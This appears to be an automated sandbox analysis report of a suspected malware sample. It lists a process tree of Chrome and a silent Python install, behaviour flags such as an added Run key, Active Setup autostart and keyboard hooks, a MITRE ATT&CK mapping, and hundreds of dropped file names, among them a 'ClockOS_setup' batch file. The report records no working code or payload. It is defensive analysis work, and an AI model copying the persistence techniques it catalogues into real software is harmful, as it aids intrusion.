C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --init-isolate-as-foreground --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --metrics-shmem-handle=6384,i,15200064254519873919,2144364030650985682,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6808 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --pdf-renderer --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--jitless --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --metrics-shmem-handle=5688,i,7526657544912867347,11900495618712946047,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --metrics-shmem-handle=5732,i,15924113767656675606,5905210514181688041,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6396 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --metrics-shmem-handle=6612,i,14221362380302087507,2205487626983779998,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=4656 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --metrics-shmem-handle=2152,i,15885183706132303398,8332637970404652495,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --metrics-shmem-handle=5508,i,13671792908758109104,9089547757828958804,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --metrics-shmem-handle=6112,i,8702849220399523183,3171451272423605608,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --metrics-shmem-handle=6364,i,9692105032955766348,9196592045153805088,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --metrics-shmem-handle=3508,i,3364734260434720581,9583739412354743017,2097152 --field-trial-handle=1876,i,13873662047940845747,2183580559243351428,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A98824C82C2D8F750504FBAF5E416ABE2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -I -m ensurepip -U --default-pip3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe"C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" /burn.runonce1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe"C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.10 (64-bit)_20261011152353.log" InstallAllUsers=0 PrependPath=0 Include_pip=1 Include_tcltk=12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe"C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" -burn.filehandle.attached=560 -burn.filehandle.self=580 /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.10 (64-bit)_20261011152353.log" InstallAllUsers=0 PrependPath=0 Include_pip=1 Include_tcltk=13⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
e5b56da.rbs
e5b56df.rbs
e5b56e4.rbs
e5b56e9.rbs
e5b56ee.rbs
e5b56f3.rbs
e5b56f7.rbs
e5b56f8.rbf
e5b56f9.rbf
e5b56fa.rbf
e5b56fb.rbf
e5b56fc.rbf
e5b56fd.rbf
e5b56fe.rbf
e5b56ff.rbf
e5b5700.rbf
e5b5701.rbf
e5b5702.rbf
e5b5703.rbf
e5b5704.rbf
e5b5705.rbf
e5b5706.rbf
e5b5707.rbf
e5b5708.rbf
e5b5709.rbf
e5b570a.rbf
e5b570b.rbf
e5b570c.rbf
e5b570d.rbf
e5b570e.rbf
e5b570f.rbf
e5b5710.rbf
e5b5711.rbf
e5b5712.rbf
e5b5713.rbf
e5b5714.rbf
e5b5715.rbf
e5b5716.rbf
e5b5717.rbf
e5b5718.rbf
e5b5719.rbf
e5b571a.rbf
e5b571b.rbf
e5b571c.rbf
e5b571d.rbf
e5b571e.rbf
e5b571f.rbf
e5b5720.rbf
e5b5721.rbf
e5b5722.rbf
e5b5723.rbf
e5b5724.rbf
e5b5725.rbf
e5b5726.rbf
e5b5727.rbf
e5b5728.rbf
e5b5729.rbf
e5b572a.rbf
e5b572b.rbf
e5b572c.rbf
e5b572d.rbf
e5b572e.rbf
e5b572f.rbf
e5b5730.rbf
e5b5731.rbf
e5b5733.rbf
e5b5734.rbf
e5b5735.rbf
e5b5736.rbf
e5b5737.rbf
e5b5738.rbf
e5b5739.rbf
e5b573a.rbf
e5b573b.rbf
e5b573c.rbf
e5b573d.rbf
e5b573e.rbf
e5b573f.rbf
e5b5740.rbf
e5b5741.rbf
e5b5742.rbf
e5b5743.rbf
e5b5744.rbf
e5b5745.rbf
e5b5746.rbf
e5b5747.rbf
e5b5748.rbf
e5b5749.rbf
e5b574a.rbf
e5b574b.rbf
e5b574c.rbf
e5b574d.rbf
e5b574e.rbf
e5b574f.rbf
e5b5750.rbf
e5b5751.rbf
e5b5752.rbf
e5b5753.rbf
e5b5754.rbf
e5b5755.rbf
e5b5756.rbf
e5b5757.rbf
e5b5758.rbf
e5b5759.rbf
e5b575a.rbf
e5b575b.rbf
e5b575c.rbf
e5b575d.rbf
e5b575e.rbf
e5b575f.rbf
e5b5760.rbf
e5b5761.rbf
e5b5762.rbf
e5b5763.rbf
e5b5764.rbf
e5b5765.rbf
e5b5766.rbf
e5b5767.rbf
e5b5768.rbf
e5b5769.rbf
e5b576b.rbf
e5b576c.rbf
e5b576d.rbf
e5b576e.rbf
e5b576f.rbf
e5b5770.rbf
e5b5771.rbf
e5b5772.rbf
e5b5773.rbf
e5b5774.rbf
e5b5775.rbf
e5b5776.rbf
e5b5777.rbf
e5b5778.rbf
e5b5779.rbf
e5b577a.rbf
e5b577b.rbf
e5b577c.rbf
e5b577d.rbf
e5b577e.rbf
e5b577f.rbf
e5b5780.rbf
e5b5781.rbf
e5b5782.rbf
e5b5783.rbf
e5b5784.rbf
e5b5785.rbf
e5b5786.rbf
e5b5787.rbf
e5b5788.rbf
e5b5789.rbf
e5b578a.rbf
e5b578b.rbf
e5b578c.rbf
e5b578d.rbf
e5b578e.rbf
e5b578f.rbf
e5b5790.rbf
e5b5791.rbf
e5b5792.rbf
e5b5793.rbf
e5b5794.rbf
e5b5795.rbf
e5b5796.rbf
e5b5797.rbf
e5b5798.rbf
e5b5799.rbf
e5b579a.rbf
e5b579b.rbf
e5b579c.rbf
e5b579d.rbf
e5b579e.rbf
e5b579f.rbf
e5b57a0.rbf
e5b57a1.rbf
e5b57a2.rbf
e5b57a3.rbf
e5b57a4.rbf
e5b57a5.rbf
e5b57a6.rbf
e5b57a7.rbf
e5b57a8.rbf
e5b57a9.rbf
e5b57aa.rbf
e5b57ab.rbf
e5b57ac.rbf
e5b57ad.rbf
e5b57ae.rbf
e5b57af.rbf
e5b57b0.rbf
e5b57b1.rbf
e5b57b2.rbf
e5b57b3.rbf
e5b57b4.rbf
e5b57b5.rbf
e5b57b6.rbf
e5b57b7.rbf
e5b57b8.rbf
e5b57b9.rbf
e5b57ba.rbf
e5b57bb.rbf
e5b57bc.rbf
e5b57bd.rbf
e5b57be.rbf
e5b57bf.rbf
e5b57c0.rbf
e5b57c1.rbf
e5b57c2.rbf
e5b57c3.rbf
e5b57c4.rbf
e5b57c5.rbf
e5b57c6.rbf
e5b57c7.rbf
e5b57c8.rbf
e5b57c9.rbf
e5b57ca.rbf
e5b57cb.rbf
e5b57cc.rbf
e5b57cd.rbf
e5b57ce.rbf
e5b57cf.rbf
e5b57d0.rbf
e5b57d1.rbf
e5b57d2.rbf
e5b57d3.rbf
e5b57d4.rbf
e5b57d5.rbf
e5b57d6.rbf
e5b57d7.rbf
e5b57d8.rbf
e5b57d9.rbf
e5b57da.rbf
e5b57db.rbf
e5b57dc.rbf
e5b57dd.rbf
e5b57de.rbf
e5b57df.rbf
e5b57e0.rbf
e5b57e1.rbf
e5b57e2.rbf
e5b57e3.rbf
e5b57e4.rbf
e5b57e5.rbf
e5b57e6.rbf
e5b57e7.rbf
e5b57e8.rbf
e5b57e9.rbf
e5b57ea.rbf
e5b57eb.rbf
e5b57ec.rbf
e5b57ed.rbf
e5b57ee.rbf
e5b57ef.rbf
e5b57f0.rbf
e5b57f1.rbf
e5b57f2.rbf
e5b57f3.rbf
e5b57f4.rbf
e5b57f5.rbf
e5b57f6.rbf
e5b57f7.rbf
e5b57f8.rbf
e5b57f9.rbf
e5b57fa.rbf
e5b57fb.rbf
e5b57fc.rbf
e5b57fd.rbf
e5b57fe.rbf
e5b57ff.rbf
e5b5800.rbf
e5b5801.rbf
e5b5802.rbf
e5b5803.rbf
e5b5804.rbf
e5b5805.rbf
e5b5806.rbf
e5b5807.rbf
e5b5808.rbf
e5b5809.rbf
e5b580a.rbf
e5b580b.rbf
e5b580c.rbf
e5b580d.rbf
e5b580e.rbf
e5b580f.rbf
e5b5810.rbf
e5b5811.rbf
e5b5812.rbf
e5b5813.rbf
e5b5814.rbf
e5b5815.rbf
e5b5816.rbf
e5b5817.rbf
e5b5818.rbf
e5b5819.rbf
e5b581a.rbf
e5b581b.rbf
e5b581c.rbf
e5b581d.rbf
e5b581e.rbf
e5b581f.rbf
e5b5820.rbf
e5b5821.rbf
e5b5822.rbf
e5b5823.rbf
e5b5824.rbf
e5b5825.rbf
e5b5826.rbf
e5b5827.rbf
e5b5828.rbf
e5b5829.rbf
e5b582a.rbf
e5b582b.rbf
e5b582c.rbf
e5b582d.rbf
e5b582e.rbf
e5b582f.rbf
e5b5830.rbf
e5b5831.rbf
e5b5832.rbf
e5b5833.rbf
e5b5834.rbf
e5b5835.rbf
e5b5836.rbf
e5b5837.rbf
e5b5838.rbf
e5b5839.rbf
e5b583a.rbf
e5b583b.rbf
e5b583c.rbf
e5b583d.rbf
e5b583e.rbf
e5b583f.rbf
e5b5840.rbf
e5b5841.rbf
e5b5842.rbf
e5b5843.rbf
e5b5844.rbf
e5b5845.rbf
e5b5846.rbf
e5b5847.rbf
e5b5848.rbf
e5b5849.rbf
e5b584a.rbf
e5b584b.rbf
e5b584c.rbf
e5b584d.rbf
e5b584e.rbf
e5b584f.rbf
e5b5850.rbf
e5b5851.rbf
e5b5852.rbf
e5b5853.rbf
e5b5854.rbf
e5b5855.rbf
e5b5856.rbf
e5b5857.rbf
e5b5858.rbf
e5b5859.rbf
e5b585a.rbf
e5b585b.rbf
e5b585c.rbf
e5b585d.rbf
e5b585e.rbf
e5b585f.rbf
e5b5860.rbf
e5b5861.rbf
e5b5862.rbf
e5b5863.rbf
e5b5864.rbf
e5b5865.rbf
e5b5866.rbf
e5b5867.rbf
e5b5868.rbf
e5b5869.rbf
e5b586a.rbf
e5b586b.rbf
e5b586c.rbf
e5b586d.rbf
e5b586e.rbf
e5b586f.rbf
e5b5870.rbf
e5b5871.rbf
e5b5872.rbf
e5b5873.rbf
e5b5874.rbf
e5b5875.rbf
e5b5876.rbf
e5b5877.rbf
e5b5878.rbf
e5b5879.rbf
e5b587a.rbf
e5b587b.rbf
e5b587c.rbf
e5b587d.rbf
e5b587e.rbf
e5b587f.rbf
e5b5880.rbf
e5b5881.rbf
e5b5882.rbf
e5b5883.rbf
e5b5884.rbf
e5b5885.rbf
e5b5886.rbf
e5b5887.rbf
e5b5888.rbf
e5b5889.rbf
e5b588a.rbf
e5b588b.rbf
e5b588c.rbf
e5b588d.rbf
e5b588e.rbf
e5b588f.rbf
e5b5890.rbf
e5b5891.rbf
e5b5892.rbf
e5b5893.rbf
e5b5894.rbf
e5b5895.rbf
e5b5896.rbf
e5b5897.rbf
e5b5898.rbf
e5b5899.rbf
e5b589a.rbf
e5b589b.rbf
e5b589c.rbf
e5b589d.rbf
e5b589e.rbf
e5b589f.rbf
e5b58a0.rbf
e5b58a1.rbf
e5b58a2.rbf
e5b58a3.rbf
e5b58a4.rbf
e5b58a5.rbf
e5b58a6.rbf
e5b58a7.rbf
e5b58a8.rbf
e5b58a9.rbf
e5b58aa.rbf
e5b58ab.rbf
e5b58ac.rbf
e5b58ad.rbf
e5b58ae.rbf
e5b58af.rbf
e5b58b0.rbf
e5b58b1.rbf
e5b58b2.rbf
e5b58b3.rbf
e5b58b4.rbf
e5b58b5.rbf
e5b58b6.rbf
e5b58b7.rbf
e5b58b8.rbf
e5b58ba.rbf
e5b58bb.rbf
e5b58bc.rbf
e5b58bd.rbf
e5b58be.rbf
e5b58bf.rbf
e5b58c0.rbf
e5b58c1.rbf
e5b58c2.rbf
e5b58c3.rbf
e5b58c4.rbf
e5b58c5.rbf
e5b58c6.rbf
e5b58c7.rbf
e5b58c8.rbf
e5b58c9.rbf
e5b58ca.rbf
e5b58cb.rbf
e5b58cc.rbf
e5b58cd.rbf
e5b58ce.rbf
e5b58cf.rbf
e5b58d0.rbf
e5b58d1.rbf
e5b58d2.rbf
e5b58d3.rbf
e5b58d4.rbf
e5b58d5.rbf
e5b58d6.rbf
e5b58d7.rbf
e5b58d8.rbf
e5b58d9.rbf
e5b58da.rbf
e5b58db.rbf
e5b58dc.rbf
e5b58dd.rbf
e5b58de.rbf
e5b58df.rbf
e5b58e0.rbf
e5b58e1.rbf
e5b58e2.rbf
e5b58e3.rbf
e5b58e4.rbf
e5b58e5.rbf
e5b58e6.rbf
e5b58e7.rbf
e5b58e8.rbf
e5b58e9.rbf
e5b58ea.rbf
e5b58eb.rbf
e5b58ec.rbf
e5b58ed.rbf
e5b58ee.rbf
e5b58ef.rbf
e5b58f0.rbf
e5b58f1.rbf
e5b58f2.rbf
e5b58f3.rbf
e5b58f4.rbf
e5b58f5.rbf
e5b58f6.rbf
e5b58f7.rbf
e5b58f8.rbf
e5b58f9.rbf
e5b58fa.rbf
e5b58fb.rbf
e5b58fc.rbf
e5b58fd.rbf
e5b58fe.rbf
e5b58ff.rbf
e5b5900.rbf
e5b5901.rbf
e5b5902.rbf
e5b5903.rbf
e5b5904.rbf
e5b5905.rbf
e5b5906.rbf
e5b5907.rbf
e5b5908.rbf
e5b5909.rbf
e5b590a.rbf
e5b590c.rbf
e5b590d.rbf
e5b590e.rbf
e5b590f.rbf
e5b5910.rbf
e5b5911.rbf
e5b5912.rbf
e5b5913.rbf
e5b5914.rbf
e5b5915.rbf
e5b5916.rbf
e5b5917.rbf
e5b5918.rbf
e5b5919.rbf
e5b591a.rbf
e5b591b.rbf
e5b591c.rbf
e5b591d.rbf
e5b591e.rbf
e5b591f.rbf
e5b5920.rbf
e5b5921.rbf
e5b5922.rbf
e5b5923.rbf
e5b5925.rbf
e5b5926.rbf
e5b5927.rbf
e5b5928.rbf
e5b5929.rbf
e5b592a.rbf
e5b592b.rbf
e5b592c.rbf
e5b592d.rbf
e5b592e.rbf
e5b592f.rbf
e5b5930.rbf
e5b5931.rbf
e5b5932.rbf
e5b5933.rbf
e5b5934.rbf
e5b5935.rbf
e5b5936.rbf
e5b5937.rbf
e5b5938.rbf
e5b5939.rbf
e5b593a.rbf
e5b593b.rbf
e5b593c.rbf
e5b593d.rbf
e5b593e.rbf
e5b593f.rbf
e5b5940.rbf
e5b5941.rbf
e5b5942.rbf
e5b5943.rbf
e5b5944.rbf
e5b5945.rbf
e5b5946.rbf
e5b5947.rbf
e5b5948.rbf
e5b5949.rbf
e5b594a.rbf
e5b594b.rbf
e5b594c.rbf
e5b594d.rbf
e5b594e.rbf
e5b594f.rbf
e5b5950.rbf
e5b5951.rbf
e5b5952.rbf
e5b5953.rbf
e5b5954.rbf
e5b5955.rbf
e5b595a.rbf
e5b595b.rbf
e5b595c.rbf
e5b595d.rbf
e5b595e.rbf
e5b595f.rbf
e5b5960.rbf
e5b5961.rbf
e5b5962.rbf
e5b5963.rbf
e5b5964.rbf
e5b5965.rbf
e5b5966.rbf
e5b5967.rbf
e5b5968.rbf
e5b5969.rbf
e5b596a.rbf
e5b596b.rbf
e5b596c.rbf
e5b596d.rbf
e5b596e.rbf
e5b596f.rbf
e5b5970.rbf
e5b5971.rbf
e5b5972.rbf
e5b5973.rbf
e5b5974.rbf
e5b5975.rbf
e5b5979.rbs
e5b597e.rbs
e5b5983.rbs
6a9a016f-25ed-4801-bf81-02be3c17e99f.tmp
9dbe375c-4042-4944-abd2-20566bd4b82a.tmp
02a73c92-29bf-4484-9f4a-520ab60d6f56.tmp
107ef254-3be3-4cea-a06f-e007ac29726c.tmp
2df02b82-35a6-44ed-8288-3c3635ca8705.tmp
50e6cb11-bf7e-43e0-9588-038c71e5b30d.tmp
5a2d90b6-a0c5-4c4a-bfda-5a984fed63a4.tmp
5cbbe6eb-a7ac-485f-8374-57414c143107.tmp
661f6046-5d34-40fc-a735-95d8e3e2ae5c.tmp
6dc9470f-4aa2-4ee2-aed6-8359276b0d89.tmp
76cbdcc2-c667-4960-a3e4-2b66a23d39af.tmp
92d2e363-08b4-4df3-b46e-5d5516ccb0c6.tmp
f_000006
f_00003c
f_000052
f_000066
f_000068
temp-index
temp-index
temp-index
temp-index
temp-index
temp-index
the-real-index
the-real-index
messages.json
craw_background.js
CURRENT
MANIFEST-000001
0f0298f3-f4a0-466c-8a3d-a1ef6361489c.tmp
7c023993-ae14-437d-b8cb-426cbc6b037f.tmp
9efac7d4-50db-482a-87be-227c187ccc5a.tmp
a7fdf87d-2d54-4d4a-9f06-148472b55363.tmp
b39601a1-721d-4c2c-92da-e96a95a448dc.tmp
c5eb769b-77bb-4cf0-a156-356ebc86b21a.tmp
d6055627-8c85-4913-94d4-4dfcf6de68a7.tmp
eaecc58f-617d-4ca8-bbba-f132bdc34bba.tmp
ef895d19-bd21-417e-9d34-049421fbd178.tmp
fb926f6c-811f-46ed-8503-6fe1bf50f329.tmp
Preferences
temp-index
temp-index
the-real-index
data_0
data_1
data_2
data_3
a07eb3dc-9c56-408a-b819-d42a55e0af40.tmp
aa883643-7462-4deb-979c-bc9923fb3755.tmp
c0b5c954-0d94-47a1-a704-028e94049070.tmp
e48e0cdd-21db-4198-a26d-b1bf7a6f6ee9.tmp
ebc39bef-2420-4a31-b3e8-a4617bd92b5b.tmp
ee8bde5e-a6d6-4b0d-8667-9fb15e6741bb.tmp
cb8aef1e-b19c-44bf-aa2c-8565317e0339.tmp
ce992cb2-3d34-44fc-9cb8-7bdbe284e648.tmp
fcdce100-4e1e-46e1-8e93-e59bd8dd2d5e.tmp
doc_JustForMe
lib_JustForMe
tcltk_JustForMe
exe.msi
test.msi
core.msi
pip.msi
dev.msi
state.rsm
prep_Activatable Class_Hermes_perf.cache
__init__.py
__init__.py
__main__.py
__init__.py
python.exe
pythonw.exe
ClockOS_setup_5.53175E+07.bat
Python 3.12.10 (64-bit)_20261011152353_000_core_JustForMe.log
Python 3.12.10 (64-bit)_20261011152353_001_exe_JustForMe.log
Python 3.12.10 (64-bit)_20261011152353_002_dev_JustForMe.log
Python 3.12.10 (64-bit)_20261011152353_003_lib_JustForMe.log
Python 3.12.10 (64-bit)_20261011152353_004_test_JustForMe.log
Python 3.12.10 (64-bit)_20261011152353_005_doc_JustForMe.log
Python 3.12.10 (64-bit)_20261011152353_006_tcltk_JustForMe.log
Python 3.12.10 (64-bit)_20261011152353_006_tcltk_JustForMe.log
__PSScriptPolicyTest_yx3wajjc.tjr.psm1
clock_python_101499318.exe
d7892e08-cb51-44bb-b183-1ec3d00d4e59.tmp
messages.json
PythonBA.dll
SideBar.png
launcher_JustForMe
BootstrapperApplicationData.xml
Default.thm
Default.wxl
clock_python_101499318.exe
memory/2276-21-0x000001B6FF750000-0x000001B6FF772000-memory.dmp
memory/3492-9910-0x00000000000B0000-0x000000000013C000-memory.dmp
memory/4028-11900-0x0000000005AE0000-0x0000000005B3A000-memory.dmp
memory/4028-11901-0x0000000009100000-0x0000000009150000-memory.dmp
memory/4728-9911-0x00000000000B0000-0x000000000013C000-memory.dmp
memory/6132-11762-0x0000023984300000-0x0000023984320000-memory.dmp
memory/6132-11759-0x0000023994380000-0x0000023994480000-memory.dmp
memory/6132-11758-0x0000023981990000-0x00000239819B0000-memory.dmp
memory/6132-11776-0x0000023994780000-0x00000239947A0000-memory.dmp
memory/6132-11728-0x00000239801E0000-0x00000239802E0000-memory.dmp